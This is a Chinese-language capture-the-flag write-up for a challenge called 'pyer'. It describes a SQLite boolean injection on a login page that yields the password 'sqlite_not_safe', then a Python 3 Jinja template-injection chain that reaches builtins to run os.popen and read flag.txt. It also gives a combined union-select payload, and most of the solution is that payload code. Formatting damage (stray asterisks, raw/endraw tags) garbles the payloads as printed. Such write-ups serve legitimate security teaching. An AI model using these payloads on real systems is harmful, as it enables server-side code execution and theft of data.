pyer

点击此处获得更好的阅读体验


WriteUp来源

官方WP

题目考点

  • SQLite注入

  • SSTI

解题思路

基于sqlite的sql注入

题目开始是一个登陆界面,经过测试可以知道有sql注入漏洞,且为sqlite数据库 可以通过bool注入得到口令为sqlite_not_safe

SSTI

然后是SSTI进行代码执行,这里是python3的环境,因此payload为:

1
{% raw %}{%{% endraw %} for c in [].**class**.**base**.**subclasses**() %}{% raw %}{%{% endraw %} if c.**name**=='catch_warnings' %}{% raw %}{{{% endraw %} c.**init**.**globals**['**builtins**'].eval("**import**('os').popen('cat flag.txt').read()") }}{% raw %}{%{% endraw %} endif %}{% raw %}{%{% endraw %} endfor %}

最终的payload为,需要注意的是sqlite的'转义并不是',而是''

1
1' union select '{% raw %}{%{% endraw %} for c in [].**class**.**base**.**subclasses**() %}{% raw %}{%{% endraw %} if c.**name**==''catch_warnings'' %}{% raw %}{{{% endraw %} c.**init**.**globals**[''**builtins**''].eval("**import**(''os'').popen(''cat flag.txt'').read()") }}{% raw %}{%{% endraw %} endif %}{% raw %}{%{% endraw %} endfor %}